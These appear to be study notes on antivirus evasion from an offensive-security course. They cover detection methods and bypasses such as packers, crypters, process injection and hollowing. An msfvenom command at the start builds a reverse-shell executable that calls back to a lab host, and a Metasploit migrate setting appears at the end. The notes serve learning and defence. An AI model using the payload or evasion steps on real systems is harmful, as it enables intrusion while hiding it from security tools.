Antivirus Evasion
First generate a reverse shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f exe > binary.exe
https://www.virustotal.com/#/home/upload
Detection Method
Signiture-based
blacklist technology
a cotinuous series of bytes that uniquely identify it -> change or obfuscating the content
Heuristic and Behavioral-Based Detection
Heuristic-Based Detection is a detection method that relies on various rules and algorithms to determine whether or not an action is considered malicious
Behavioral-Based: This is often achieved by executing the file in question in an emulated environment, such as a small virtual machine, and looking for behaviors or actions that are considered malicious.
Bypassing
On-disk evasion
Packers, smaller, functional equivalent -> new signiture, bypass older antivirus detection
Obfuscator
Re-organize and mutate code, more difficult to reverse engineer , dead code
Cypters
Add a decryption step, in memory decryotion, invisible to malware detection
virtualmachine emulation detection, detect if it is executed in a virtual machine envrionment
Software Protectors
in-memory evasion
PE injection, manipulation of its own memory, does not write any thing to disk
Remote Process Memory Injection
Reflective DLL injection
write their own version of api to load in memory dll
Process Hollowing
suspend a benign process, then image changed, resume executon
Inline Hook
modify memory, inject a hook, handler, to malicious code
Practical example
Target a specific anti-virus product
in-memory injection
1 | $code = ' |
use load code into the memory, then execute with create thread. in powershell script
prevent from execution:
1 | C:\Users\offsec\Desktop> powershell .\av_test.ps1 |
Shelter
stealth mode: restore the execution of original flow after finish the injected code
Session died after original code exit
we can set up an AutoRunScript to migrate our Meterpreter to a separate process immediately after session creation
1 | set AutoRunScript post/windows/manage/migrate |